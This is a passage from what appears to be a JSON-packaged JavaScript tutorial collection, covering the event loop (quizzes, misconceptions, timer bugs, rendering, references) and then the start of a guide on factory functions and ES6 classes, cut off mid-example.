1`, `timeout 2`\n\n**Explanation:**\n1. First `setTimeout` → callback to Task Queue\n2. `Promise.then` → callback to Microtask Queue\n3. Second `setTimeout` → callback to Task Queue\n4. `console.log('sync')` → runs immediately → \"sync\"\n5. Drain Microtask Queue:\n   - Run first promise callback → \"promise 1\"\n   - This adds another promise to Microtask Queue\n   - Continue draining → \"promise 2\"\n6. Microtask Queue empty, process Task Queue:\n   - First timeout → \"timeout 1\"\n   - Second timeout → \"timeout 2\"\n</Accordion>\n\n### Question 3: async/await Ordering\n\n```javascript\nasync function foo() {\n  console.log('foo start');\n  await Promise.resolve();\n  console.log('foo end');\n}\n\nconsole.log('script start');\nfoo();\nconsole.log('script end');\n```\n\n<Accordion title=\"Answer\">\n**Output:** `script start`, `foo start`, `script end`, `foo end`\n\n**Explanation:**\n1. `console.log('script start')` → \"script start\"\n2. Call `foo()`:\n   - `console.log('foo start')` → \"foo start\"\n   - `await Promise.resolve()` — pauses foo, schedules continuation as microtask\n3. `foo()` returns (suspended at await)\n4. `console.log('script end')` → \"script end\"\n5. Call stack empty → drain Microtask Queue → resume foo\n6. `console.log('foo end')` → \"foo end\"\n\n**Key insight:** `await` splits the function. Code before `await` runs synchronously. Code after `await` runs as a microtask.\n</Accordion>\n\n### Question 4: setTimeout in a Loop\n\n```javascript\nfor (var i = 0; i < 3; i++) {\n  setTimeout(() => console.log(i), 0);\n}\n```\n\n<Accordion title=\"Answer\">\n**Output:** `3`, `3`, `3`\n\n**Explanation:**\n- `var` is function-scoped, so there's only ONE `i` variable\n- The loop runs synchronously: i=0, i=1, i=2, i=3 (loop ends)\n- THEN the callbacks run, and they all see `i = 3`\n\n**Fix with let:**\n```javascript\nfor (let i = 0; i < 3; i++) {\n  setTimeout(() => console.log(i), 0);\n}\n// Output: 0, 1, 2\n```\n\n**Fix with closure (IIFE):**\n```javascript\nfor (var i = 0; i < 3; i++) {\n  ((j) => {\n    setTimeout(() => console.log(j), 0);\n  })(i);\n}\n// Output: 0, 1, 2\n```\n\n**Fix with setTimeout's third parameter:**\n```javascript\nfor (var i = 0; i < 3; i++) {\n  setTimeout((j) => console.log(j), 0, i);\n}\n// Output: 0, 1, 2\n```\n</Accordion>\n\n### Question 5: What's Wrong Here?\n\n```javascript\nconst start = Date.now();\nsetTimeout(() => {\n  console.log(`Elapsed: ${Date.now() - start}ms`);\n}, 1000);\n\n// Simulate heavy computation\nlet sum = 0;\nfor (let i = 0; i < 1000000000; i++) {\n  sum += i;\n}\nconsole.log('Heavy work done');\n```\n\n<Accordion title=\"Answer\">\n**Problem:** The timeout will NOT fire after 1000ms!\n\nThe heavy `for` loop blocks the call stack. Even though the timer finishes after 1000ms, the callback cannot run until the call stack is empty.\n\n**Typical output:**\n```\nHeavy work done\nElapsed: 3245ms  // Much longer than 1000ms!\n```\n\n**Lesson:** Never do heavy synchronous work on the main thread. Use:\n- Web Workers for CPU-intensive tasks\n- Break work into chunks with setTimeout\n- Use `requestIdleCallback` for non-critical work\n</Accordion>\n\n### Question 6: Microtask Starvation\n\n```javascript\nfunction scheduleMicrotask() {\n  Promise.resolve().then(() => {\n    console.log('microtask');\n    scheduleMicrotask();\n  });\n}\n\nsetTimeout(() => console.log('timeout'), 0);\nscheduleMicrotask();\n```\n\n<Accordion title=\"Answer\">\n**Output:** `microtask`, `microtask`, `microtask`, ... (forever!)\n\nThe timeout callback NEVER runs!\n\n**Explanation:**\n- Each microtask schedules another microtask\n- The Event Loop drains the entire microtask queue before moving to tasks\n- The microtask queue is never empty\n- The timeout callback starves\n\n**This is a browser freeze!** The page becomes unresponsive because rendering also waits for the microtask queue to drain.\n</Accordion>\n\n---\n\n## Common Misconceptions\n\n<AccordionGroup>\n  <Accordion title=\"Misconception 1: 'setTimeout(fn, 0) runs immediately'\">\n    **Wrong!** Even with 0ms delay, the callback goes to the Task Queue and must wait for:\n    1. Current script to complete\n    2. All microtasks to drain\n    3. Its turn in the queue\n    \n    ```javascript\n    setTimeout(() => console.log('timeout'), 0);\n    Promise.resolve().then(() => console.log('promise'));\n    console.log('sync');\n    \n    // Output: sync, promise, timeout (NOT sync, timeout, promise)\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Misconception 2: 'setTimeout delay is guaranteed'\">\n    **Wrong!** The delay is a MINIMUM wait time, not a guarantee.\n    \n    If the call stack is busy or the Task Queue has items ahead, the actual delay will be longer.\n    \n    ```javascript\n    setTimeout(() => console.log('A'), 100);\n    setTimeout(() => console.log('B'), 100);\n    \n    // Heavy work takes 500ms\n    for (let i = 0; i < 1e9; i++) {}\n    \n    // Both A and B fire at ~500ms, not 100ms\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Misconception 3: 'JavaScript is asynchronous'\">\n    **Partially wrong!** JavaScript itself is single-threaded and synchronous.\n    \n    The asynchronous behavior comes from:\n    - The **runtime environment** (browser/Node.js)\n    - **Web APIs** that run in separate threads\n    - The **Event Loop** that coordinates callbacks\n    \n    JavaScript code runs synchronously, one line at a time. The magic is that it can delegate work to the environment.\n  </Accordion>\n  \n  <Accordion title=\"Misconception 4: 'The Event Loop is part of JavaScript'\">\n    **Wrong!** The Event Loop is NOT defined in the ECMAScript specification.\n    \n    It's defined in the HTML specification (for browsers) and implemented by the runtime environment. Different environments (browsers, Node.js, Deno) have different implementations.\n  </Accordion>\n  \n  <Accordion title=\"Misconception 5: 'setInterval is accurate'\">\n    **Wrong!** setInterval can drift, skip callbacks, or have inconsistent timing.\n    \n    - If a callback takes longer than the interval, callbacks queue up\n    - Browsers may throttle timers in background tabs\n    - Timer precision is limited (especially on mobile)\n    \n    For precise timing, use nested setTimeout or requestAnimationFrame.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Blocking the Event Loop\n\n### What Happens When You Block?\n\nWhen synchronous code runs for a long time, EVERYTHING stops:\n\n```javascript\n// This freezes the entire page!\nbutton.addEventListener('click', () => {\n  // Heavy synchronous work\n  for (let i = 0; i < 10000000000; i++) {\n    // ... computation\n  }\n});\n```\n\n**Consequences:**\n- UI freezes (can't click, scroll, or type)\n- Animations stop\n- setTimeout/setInterval callbacks delayed\n- Promises can't resolve\n- Page becomes unresponsive\n\n### Solutions\n\n<Tabs>\n  <Tab title=\"Web Workers\">\n    Move heavy computation to a separate thread using [Web Workers](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API):\n    \n    ```javascript\n    // main.js\n    const worker = new Worker('worker.js');\n    \n    worker.postMessage({ data: largeArray });\n    \n    worker.onmessage = (event) => {\n      console.log('Result:', event.data);\n    };\n    \n    // worker.js\n    self.onmessage = (event) => {\n      const result = heavyComputation(event.data);\n      self.postMessage(result);\n    };\n    ```\n  </Tab>\n  \n  <Tab title=\"Chunking with setTimeout\">\n    Break work into smaller chunks:\n    \n    ```javascript\n    function processInChunks(items, process, chunkSize = 100) {\n      let index = 0;\n      \n      function doChunk() {\n        const end = Math.min(index + chunkSize, items.length);\n        \n        for (; index < end; index++) {\n          process(items[index]);\n        }\n        \n        if (index < items.length) {\n          setTimeout(doChunk, 0); // Yield to event loop\n        }\n      }\n      \n      doChunk();\n    }\n    \n    // Now UI stays responsive between chunks\n    processInChunks(hugeArray, item => compute(item));\n    ```\n  </Tab>\n  \n  <Tab title=\"requestIdleCallback\">\n    Run code during browser idle time with [`requestIdleCallback`](https://developer.mozilla.org/en-US/docs/Web/API/Window/requestIdleCallback):\n    \n    ```javascript\n    function doNonCriticalWork(deadline) {\n      while (deadline.timeRemaining() > 0 && tasks.length > 0) {\n        const task = tasks.shift();\n        task();\n      }\n      \n      if (tasks.length > 0) {\n        requestIdleCallback(doNonCriticalWork);\n      }\n    }\n    \n    requestIdleCallback(doNonCriticalWork);\n    ```\n  </Tab>\n</Tabs>\n\n---\n\n## Rendering and the Event Loop\n\n### Where Does Rendering Fit?\n\nThe browser tries to render at 60fps (every ~16.67ms). Rendering happens **between tasks**, after microtasks:\n\n```\n┌─────────────────────────────────────────────────────┐\n│                 One Frame (~16.67ms)                │\n├─────────────────────────────────────────────────────┤\n│  1. Task (from Task Queue)                          │\n│  2. All Microtasks                                  │\n│  3. requestAnimationFrame callbacks                 │\n│  4. Style calculation                               │\n│  5. Layout                                          │\n│  6. Paint                                           │\n│  7. Composite                                       │\n└─────────────────────────────────────────────────────┘\n```\n\n### Why 60fps Matters\n\n| FPS | Frame Time | User Experience |\n|-----|------------|-----------------|\n| 60 | 16.67ms | Smooth, responsive |\n| 30 | 33.33ms | Noticeable lag |\n| 15 | 66.67ms | Very choppy |\n| < 10 | > 100ms | Unusable |\n\nIf your JavaScript takes longer than ~16ms, you'll miss frames and the UI will feel janky.\n\n### Using requestAnimationFrame for Visual Updates\n\nUse rAF to avoid layout thrashing (reading and writing DOM in a way that forces multiple reflows):\n\n```javascript\n// Bad: Read-write-read pattern forces multiple layouts\nconsole.log(element.offsetWidth);     // Read (forces layout)\nelement.style.width = '100px';        // Write\nconsole.log(element.offsetHeight);    // Read (forces layout AGAIN!)\nelement.style.height = '200px';       // Write\n\n// Good: Batch reads together, then defer writes to rAF\nconst width = element.offsetWidth;    // Read\nconst height = element.offsetHeight;  // Read (same layout calculation)\n\nrequestAnimationFrame(() => {\n  // Writes happen right before next paint\n  element.style.width = width + 100 + 'px';\n  element.style.height = height + 100 + 'px';\n});\n```\n\n---\n\n## Common Bugs and Pitfalls\n\n<AccordionGroup>\n  <Accordion title=\"1. Forgetting to clearInterval\">\n    ```javascript\n    // BUG: Memory leak!\n    function startPolling() {\n      setInterval(() => {\n        fetchData();\n      }, 5000);\n    }\n    \n    // If called multiple times, intervals stack up!\n    startPolling();\n    startPolling(); // Now 2 intervals running!\n    \n    // FIX: Store and clear\n    let pollInterval;\n    \n    function startPolling() {\n      stopPolling(); // Clear any existing interval\n      pollInterval = setInterval(fetchData, 5000);\n    }\n    \n    function stopPolling() {\n      if (pollInterval) {\n        clearInterval(pollInterval);\n        pollInterval = null;\n      }\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"2. Race Conditions with setTimeout\">\n    ```javascript\n    // BUG: Responses may arrive out of order\n    let searchInput = document.getElementById('search');\n    \n    searchInput.addEventListener('input', () => {\n      setTimeout(() => {\n        fetch(`/search?q=${searchInput.value}`)\n          .then(res => displayResults(res));\n      }, 300);\n    });\n    \n    // FIX: Cancel previous timeout (debounce)\n    let timeoutId;\n    searchInput.addEventListener('input', () => {\n      clearTimeout(timeoutId);\n      timeoutId = setTimeout(() => {\n        fetch(`/search?q=${searchInput.value}`)\n          .then(res => displayResults(res));\n      }, 300);\n    });\n    ```\n  </Accordion>\n  \n  <Accordion title=\"3. this Binding in Timer Callbacks\">\n    ```javascript\n    // BUG: 'this' is wrong\n    const obj = {\n      name: 'Alice',\n      greet() {\n        setTimeout(function() {\n          console.log(`Hello, ${this.name}`); // undefined!\n        }, 100);\n      }\n    };\n    \n    // FIX 1: Arrow function\n    const obj1 = {\n      name: 'Alice',\n      greet() {\n        setTimeout(() => {\n          console.log(`Hello, ${this.name}`); // \"Alice\"\n        }, 100);\n      }\n    };\n    \n    // FIX 2: bind\n    const obj2 = {\n      name: 'Alice',\n      greet() {\n        setTimeout(function() {\n          console.log(`Hello, ${this.name}`);\n        }.bind(this), 100);\n      }\n    };\n    ```\n  </Accordion>\n  \n  <Accordion title=\"4. Closure Issues in Loops\">\n    ```javascript\n    // BUG: All callbacks see final value\n    for (var i = 0; i < 3; i++) {\n      setTimeout(() => console.log(i), 100);\n    }\n    // Output: 3, 3, 3\n    \n    // FIX 1: Use let\n    for (let i = 0; i < 3; i++) {\n      setTimeout(() => console.log(i), 100);\n    }\n    // Output: 0, 1, 2\n    \n    // FIX 2: Pass as argument\n    for (var i = 0; i < 3; i++) {\n      setTimeout((j) => console.log(j), 100, i);\n    }\n    // Output: 0, 1, 2\n    ```\n  </Accordion>\n  \n  <Accordion title=\"5. Assuming Timer Precision\">\n    ```javascript\n    // BUG: Assuming exact timing\n    function measureTime() {\n      const start = Date.now();\n      \n      setTimeout(() => {\n        const elapsed = Date.now() - start;\n        console.log(`Exactly 1000ms? ${elapsed === 1000}`);\n        // Almost always false!\n      }, 1000);\n    }\n    \n    // REALITY: Always allow for variance\n    function measureTime() {\n      const start = Date.now();\n      const expected = 1000;\n      const tolerance = 50; // Allow 50ms variance\n      \n      setTimeout(() => {\n        const elapsed = Date.now() - start;\n        const withinTolerance = Math.abs(elapsed - expected) <= tolerance;\n        console.log(`Within tolerance? ${withinTolerance}`);\n      }, expected);\n    }\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Interactive Visualization Tool\n\nThe best way to truly understand the Event Loop is to **see it in action**.\n\n<Card title=\"Loupe - Event Loop Visualizer\" icon=\"play\" href=\"https://latentflip.com/loupe/\">\n  Created by Philip Roberts (author of the famous \"What the heck is the event loop anyway?\" talk). This tool lets you write JavaScript code and watch how it moves through the call stack, Web APIs, and callback queue in real-time.\n</Card>\n\n**Try this code in Loupe:**\n\n```javascript\nconsole.log('Start');\n\nsetTimeout(function timeout() {\n  console.log('Timeout');\n}, 2000);\n\nPromise.resolve().then(function promise() {\n  console.log('Promise');\n});\n\nconsole.log('End');\n```\n\nWatch how:\n1. Synchronous code runs first\n2. setTimeout goes to Web APIs\n3. Promise callback goes to microtask queue\n4. Microtasks run before the timeout callback\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **JavaScript is single-threaded** — only one thing runs at a time on the call stack\n\n2. **The Event Loop enables async** — it coordinates between the call stack and callback queues\n\n3. **Web APIs run in separate threads** — timers, network requests, and events are handled by the browser\n\n4. **Microtasks > Tasks** — Promise callbacks ALWAYS run before setTimeout callbacks\n\n5. **setTimeout delay is a minimum** — actual timing depends on call stack and queue state\n\n6. **setInterval can drift** — use nested setTimeout for precise timing\n\n7. **requestAnimationFrame for animations** — syncs with browser refresh rate, pauses in background\n\n8. **Never block the main thread** — long sync operations freeze the entire UI\n\n9. **Microtasks can starve tasks** — infinite microtask loops prevent rendering\n\n10. **The Event Loop isn't JavaScript** — it's part of the runtime environment (browser/Node.js)\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What is the Event Loop's main job?\">\n    **Answer:** The Event Loop's job is to monitor the call stack and the callback queues. When the call stack is empty, it takes the first callback from the microtask queue (if any), or the task queue, and pushes it onto the call stack for execution.\n    \n    It enables JavaScript to be non-blocking despite being single-threaded.\n  </Accordion>\n  \n  <Accordion title=\"Question 2: Why do Promises run before setTimeout?\">\n    **Answer:** Promise callbacks go to the **Microtask Queue**, while setTimeout callbacks go to the **Task Queue** (macrotask queue).\n    \n    The Event Loop always drains the entire microtask queue before taking the next task from the task queue. So Promise callbacks always have priority.\n  </Accordion>\n  \n  <Accordion title=\"Question 3: What's the output of this code?\">\n    ```javascript\n    setTimeout(() => console.log('A'), 0);\n    Promise.resolve().then(() => console.log('B'));\n    Promise.resolve().then(() => {\n      console.log('C');\n      setTimeout(() => console.log('D'), 0);\n    });\n    console.log('E');\n    ```\n    \n    **Answer:** `E`, `B`, `C`, `A`, `D`\n    \n    1. `E` — synchronous\n    2. `B` — first microtask\n    3. `C` — second microtask (also schedules timeout D)\n    4. `A` — first timeout\n    5. `D` — second timeout (scheduled during microtask C)\n  </Accordion>\n  \n  <Accordion title=\"Question 4: When should you use requestAnimationFrame?\">\n    **Answer:** Use `requestAnimationFrame` for:\n    \n    - Visual animations\n    - DOM updates that need to be smooth\n    - Anything that should sync with the browser's refresh rate\n    \n    **Don't use** it for:\n    - Non-visual delayed execution (use setTimeout)\n    - Repeated non-visual tasks (use setInterval or setTimeout)\n    - Heavy computation (use Web Workers)\n  </Accordion>\n  \n  <Accordion title=\"Question 5: What's wrong with this code?\">\n    ```javascript\n    setInterval(async () => {\n      const response = await fetch('/api/data');\n      const data = await response.json();\n      updateUI(data);\n    }, 1000);\n    ```\n    \n    **Answer:** If the fetch takes longer than 1 second, multiple requests will be in flight simultaneously, potentially causing race conditions and overwhelming the server.\n    \n    **Better approach:**\n    ```javascript\n    async function poll() {\n      const response = await fetch('/api/data');\n      const data = await response.json();\n      updateUI(data);\n      setTimeout(poll, 1000); // Schedule next AFTER completion\n    }\n    poll();\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 6: How can you yield to the Event Loop in a long-running task?\">\n    **Answer:** Several approaches:\n    \n    ```javascript\n    // 1. setTimeout (schedules a task)\n    await new Promise(resolve => setTimeout(resolve, 0));\n    \n    // 2. queueMicrotask (schedules a microtask)\n    await new Promise(resolve => queueMicrotask(resolve));\n    \n    // 3. requestAnimationFrame (syncs with rendering)\n    await new Promise(resolve => requestAnimationFrame(resolve));\n    \n    // 4. requestIdleCallback (runs during idle time)\n    await new Promise(resolve => requestIdleCallback(resolve));\n    ```\n    \n    Each has different timing and use cases. setTimeout is most common for yielding.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is the event loop in JavaScript?\">\n    The event loop is JavaScript's mechanism for handling asynchronous operations while remaining single-threaded. As defined in the WHATWG HTML Living Standard, it continuously checks whether the call stack is empty and then dequeues tasks from the task queue or microtask queue for execution. This is what allows non-blocking I/O in both browsers and Node.js.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between microtasks and macrotasks?\">\n    Microtasks (Promise callbacks, queueMicrotask, MutationObserver) run after the current task completes but before the next macrotask. Macrotasks (setTimeout, setInterval, I/O) are queued in the task queue and processed one per event loop iteration. The key rule: the entire microtask queue is drained before the next macrotask runs.\n  </Accordion>\n\n  <Accordion title=\"Why does Promise.then() run before setTimeout(0)?\">\n    Promise callbacks are scheduled as microtasks, while setTimeout callbacks are scheduled as macrotasks. According to the HTML specification's event loop processing model, all microtasks are processed before the event loop picks up the next macrotask. This is why `Promise.then()` always executes before `setTimeout(..., 0)` even though both are asynchronous.\n  </Accordion>\n\n  <Accordion title=\"How does JavaScript handle async operations if it is single-threaded?\">\n    JavaScript delegates long-running operations (network requests, timers, file I/O) to the browser's Web APIs or Node.js's libuv thread pool, which run on separate threads. When those operations complete, their callbacks are placed into the appropriate queue. The event loop then picks them up when the call stack is empty. This gives the illusion of parallelism while keeping JavaScript execution single-threaded.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between concurrency and parallelism in JavaScript?\">\n    Concurrency means managing multiple tasks by interleaving them on a single thread, which is what the event loop provides. Parallelism means executing multiple tasks simultaneously on different threads, which requires Web Workers. According to MDN, async/await and Promises give you concurrency, while Web Workers give you true parallelism.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Call Stack\" icon=\"layer-group\" href=\"/concepts/call-stack\">\n    Deep dive into how JavaScript tracks function execution\n  </Card>\n  <Card title=\"Promises\" icon=\"handshake\" href=\"/concepts/promises\">\n    Understanding Promise-based asynchronous patterns\n  </Card>\n  <Card title=\"async/await\" icon=\"clock\" href=\"/concepts/async-await\">\n    Modern syntax for working with Promises\n  </Card>\n  <Card title=\"JavaScript Engines\" icon=\"gear\" href=\"/concepts/javascript-engines\">\n    How V8 and other engines execute your code\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript Execution Model — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Execution_model\">\n    Official MDN documentation on the JavaScript runtime, event loop, and execution contexts.\n  </Card>\n  <Card title=\"setTimeout — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/setTimeout\">\n    Complete reference for setTimeout including syntax, parameters, and the minimum delay behavior.\n  </Card>\n  <Card title=\"setInterval — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/setInterval\">\n    Documentation for repeated timed callbacks with usage patterns and gotchas.\n  </Card>\n  <Card title=\"requestAnimationFrame — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame\">\n    Browser-optimized animation timing API that syncs with display refresh rate.\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript Visualized: Event Loop\" icon=\"newspaper\" href=\"https://dev.to/lydiahallie/javascript-visualized-event-loop-3dif\">\n    Lydia Hallie's famous visual explanation with animated GIFs showing exactly how the event loop works.\n  </Card>\n  <Card title=\"Tasks, microtasks, queues and schedules\" icon=\"newspaper\" href=\"https://jakearchibald.com/2015/tasks-microtasks-queues-and-schedules/\">\n    Jake Archibald's definitive deep-dive with interactive examples. The go-to resource for understanding tasks vs microtasks.\n  </Card>\n  <Card title=\"The JavaScript Event Loop\" icon=\"newspaper\" href=\"https://flaviocopes.com/javascript-event-loop/\">\n    Flavio Copes' clear explanation with excellent code examples showing Promise vs setTimeout behavior.\n  </Card>\n  <Card title=\"setTimeout and setInterval\" icon=\"newspaper\" href=\"https://javascript.info/settimeout-setinterval\">\n    Comprehensive JavaScript.info guide covering timers, cancellation, nested setTimeout, and the 4ms minimum delay.\n  </Card>\n  <Card title=\"Using requestAnimationFrame\" icon=\"newspaper\" href=\"https://css-tricks.com/using-requestanimationframe/\">\n    Chris Coyier's practical guide to smooth animations with requestAnimationFrame, including polyfills and examples.\n  </Card>\n  <Card title=\"Why not to use setInterval\" icon=\"newspaper\" href=\"https://dev.to/akanksha_9560/why-not-to-use-setinterval--2na9\">\n    Deep dive into setInterval's problems with drift, async operations, and why nested setTimeout is often better.\n  </Card>\n</CardGroup>\n\n## Tools\n\n<Card title=\"Loupe - Event Loop Visualizer\" icon=\"play\" href=\"https://latentflip.com/loupe/\">\n  Interactive tool by Philip Roberts to visualize how the call stack, Web APIs, and callback queue work together. Write code and watch it execute step by step.\n</Card>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"What the heck is the event loop anyway?\" icon=\"video\" href=\"https://www.youtube.com/watch?v=8aGhZQkoFbQ\">\n    Philip Roberts' legendary JSConf EU talk that made the event loop accessible to everyone. A must-watch for JavaScript developers.\n  </Card>\n  <Card title=\"In The Loop\" icon=\"video\" href=\"https://www.youtube.com/watch?v=cCOL7MC4Pl0\">\n    Jake Archibald's JSConf.Asia talk diving deeper into tasks, microtasks, and rendering. The perfect follow-up to Philip Roberts' talk.\n  </Card>\n  <Card title=\"TRUST ISSUES with setTimeout()\" icon=\"video\" href=\"https://youtu.be/nqsPmuicJJc\">\n    Akshay Saini explains why you can't trust setTimeout's timing and how the event loop actually handles timers.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/concepts/factories-classes.mdx",
    "content": "---\ntitle: \"Factories & Classes\"\nsidebarTitle: \"Factories and Classes: Creating Objects Efficiently\"\ndescription: \"Learn JavaScript factory functions and ES6 classes. Understand constructors, prototypes, private fields, inheritance, and when to use each pattern.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Object-Oriented JavaScript\"\n\"article:tag\": \"factory functions, ES6 classes, constructors, private fields, object creation patterns\"\n---\n\nHow do you create hundreds of similar objects without copy-pasting? How do game developers spawn thousands of enemies? How does JavaScript let you build blueprints for objects?\n\n```javascript\n// Factory function — returns a new object each time\nfunction createPlayer(name) {\n  return {\n    name,\n    health: 100,\n    attack() {\n      return `${this.name} attacks!`\n    }\n  }\n}\n\n// Class — a blueprint for creating objects\nclass Enemy {\n  constructor(name) {\n    this.name = name\n    this.health = 100\n  }\n  \n  attack() {\n    return `${this.name} attacks!`\n  }\n}\n\n// Both create objects the same way\nconst player = createPlayer(\"Alice\")     // Factory\nconst enemy = new Enemy(\"Goblin\")        // Class\n\nconsole.log(player.attack())  // \"Alice attacks!\"\nconsole.log(enemy.attack())   // \"Goblin attacks!\"\n```\n\n**Factories** and **[Classes](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes)** are two patterns for creating objects efficiently. A factory function is a regular function that returns a new object. A class is a blueprint that uses the [`class`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/class) keyword and the [`new`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new) operator. Both achieve the same goal, but they work differently and have different strengths. According to the 2023 State of JS survey, class syntax is now widely adopted, with the majority of JavaScript developers using classes regularly in their projects.\n\n<Info>\n**What you'll learn in this guide:**\n- How to create objects using factory functions\n- How constructor functions and the `new` keyword work\n- ES6 class syntax and what \"syntactic sugar\" means\n- Private fields (#) and how they differ from closures\n- Static methods, getters, and setters\n- Inheritance with `extends` and `super`\n- Factory composition vs class inheritance\n- When to use factories vs classes\n</Info>\n\n<Warning>\n**Prerequisites:** This guide assumes you understand [Object Creation & Prototypes](/concepts/object-creation-prototypes) and [this, call, apply, bind](/concepts/this-call-apply-bind). If those concepts are new to you, read those guides first!\n</Warning>\n\n---\n\n## Why Do We Need Object Blueprints?\n\n### The Manual Approach (Don't Do This)\n\nLet's say you're building an RPG game. You need player characters:\n\n```javascript\n// Creating players manually — tedious and error-prone\nconst player1 = {\n  name: \"Alice\",\n  health: 100,\n  level: 1,\n  attack() {\n    return `${this.name} attacks for ${10 + this.level * 2} damage!`;\n  },\n  takeDamage(amount) {\n    this.health -= amount;\n    if (this.health <= 0) {\n      return `${this.name} has been defeated!`;\n    }\n    return `${this.name} has ${this.health} health remaining.`;\n  }\n};\n\nconst player2 = {\n  name: \"Bob\",\n  health: 100,\n  level: 1,\n  attack() {\n    return `${this.name} attacks for ${10 + this.level * 2} damage!`;\n  },\n  takeDamage(amount) {\n    this.health -= amount;\n    if (this.health <= 0) {\n      return `${this.name} has been defeated!`;\n    }\n    return `${this.name} has ${this.health} health remaining.`;\n  }\n};\n\n// ... 50 more players with the same code copied ...\n```\n\n### What's Wrong With This?\n\n| Problem | Why It's Bad |\n|---------|--------------|\n| **Repetition** | Same code copied over and over |\n| **Error-prone** | Easy to make typos or forget properties |\n| **Hard to maintain** | Change one thing? Change it everywhere |\n| **No consistency** | Nothing enforces that all players have the same structure |\n| **Memory waste** | Each object has its own copy of the methods |\n\n### What We Need\n\nWe need a way to:\n- Define the structure **once**\n- Create as many objects as we need\n- Ensure all objects have the same properties and methods\n- Make changes in **one place** that affect all objects\n\n### The Assembly Line Analogy\n\nThink about how real-world manufacturing works:\n\n- **Hand-crafting** each item individually is slow, inconsistent, and doesn't scale\n- **Assembly lines** (factories) take specifications and produce products efficiently\n- **Blueprints/molds** define the template once, then stamp out identical copies\n\nJavaScript gives us the same options:\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    THREE WAYS TO CREATE OBJECTS                          │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  MANUAL CREATION                 Like hand-carving each chess piece      │\n│  ───────────────                 Tedious, error-prone, inconsistent      │\n│  const obj = { ... }                                                     │\n│                                                                          │\n│  ─────────────────────────────────────────────────────────────────────   │\n│                                                                          │\n│  FACTORY FUNCTION                Like an assembly line                   │\n│  ────────────────                Put in specs → Get product              │\n│                                  Flexible, no special keywords           │\n│    createPlayer(\"Alice\")                                                 │\n│           │                                                              │\n│           ▼                                                              │\n│    ┌─────────────┐                                                       │\n│    │   Player    │  ← New object returned                                │\n│    │  {name...}  │                                                       │\n│    └─────────────┘                                                       │\n│                                                                          │\n│  ─────────────────────────────────────────────────────────────────────   │\n│                                                                          │\n│  CLASS / CONSTRUCTOR             Like a blueprint or mold                │\n│  ───────────────────             Define template → Stamp out copies      │\n│                                  Uses `new`, supports `instanceof`       │\n│    new Player(\"Alice\")                                                   │\n│           │                                                              │\n│           ▼                                                              │\n│    ┌─────────────┐                                                       │\n│    │   Player    │  ← Instance created from blueprint                    │\n│    │  {name...}  │                                                       │\n│    └─────────────┘                                                       │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nBoth factories and classes solve the same problem. They just do it differently. Let's explore each approach.\n\n---\n\n## What is a Factory Function in JavaScript?\n\nA **factory function** is a regular JavaScript function that creates and returns a new object each time it's called. Unlike constructors or classes, factory functions don't require the `new` keyword. They can use `this` in returned methods (like simple objects do), or use [closures](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures) to avoid `this` entirely, giving you flexibility that classes don't offer. As Douglas Crockford documented in *JavaScript: The Good Parts*, factory functions leverage JavaScript's prototypal nature more directly than class-based patterns.\n\n### Basic Factory Function\n\nThink of it like an assembly line. You put in the specifications, and it produces the product:\n\n```javascript\n// A simple factory function\nfunction createPlayer(name) {\n  return {\n    name: name,\n    health: 100,\n    level: 1,\n    attack() {\n      return `${this.name} attacks for ${10 + this.level * 2} damage!`;\n    },\n    takeDamage(amount) {\n      this.health -= amount;\n      if (this.health <= 0) {\n        return `${this.name} has been defeated!`;\n      }\n      return `${this.name} has ${this.health} health remaining.`;\n    }\n  };\n}\n\n// Creating players is now easy!\nconst alice = createPlayer(\"Alice\");\nconst bob = createPlayer(\"Bob\");\nconst charlie = createPlayer(\"Charlie\");\n\nconsole.log(alice.attack());      // \"Alice attacks for 12 damage!\"\nconsole.log(bob.takeDamage(30));  // \"Bob has 70 health remaining.\"\n```\n\n### Factory with Multiple Parameters\n\n```javascript\nfunction createEnemy(name, health, attackPower) {\n  return {\n    name,           // Shorthand: same as name: name\n    health,\n    attackPower,\n    isAlive: true,\n    \n    attack(target) {\n      return `${this.name} attacks ${target.name} for ${this.attackPower} damage!`;\n    },\n    \n    takeDamage(amount) {\n      this.health -= amount;\n      if (this.health <= 0) {\n        this.health = 0;\n        this.isAlive = false;\n        return `${this.name} has been defeated!`;\n      }\n      return `${this.name} has ${this.health} health remaining.`;\n    }\n  };\n}\n\n// Create different types of enemies\nconst goblin = createEnemy(\"Goblin\", 50, 10);\nconst dragon = createEnemy(\"Dragon\", 500, 